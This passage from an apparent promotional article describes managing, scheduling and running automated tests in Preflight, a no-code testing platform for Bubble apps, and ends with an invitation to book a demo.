3. Manage and Run Tests in PreFlight
Preflight allows you to run multiple tests simultaneously, either on the same app or in different environments across your development infrastructure. You can also schedule your test to suit your needs and preferences, and the platform will take care of the rest. The user-friendly Preflight dashboard will display the status and result of your tests while also allowing you to edit tests with ease.
Test Your Bubble Apps Seamlessly with Codeless Testing
Bubble is an excellent option for established businesses and startups that need a speedy and stress-free platform for building and deploying websites and applications. The platform boasts an array of advanced features and an extensive plugin library that facilitate the development process.
However, testing Bubble apps presents a challenge that many entrepreneurs and development teams cannot successfully navigate.
An automated no-code testing platform like Preflight provides the most effective solution to the problem. Book a demo with us today and see for yourself! | ESSENTIALAI-STEM |
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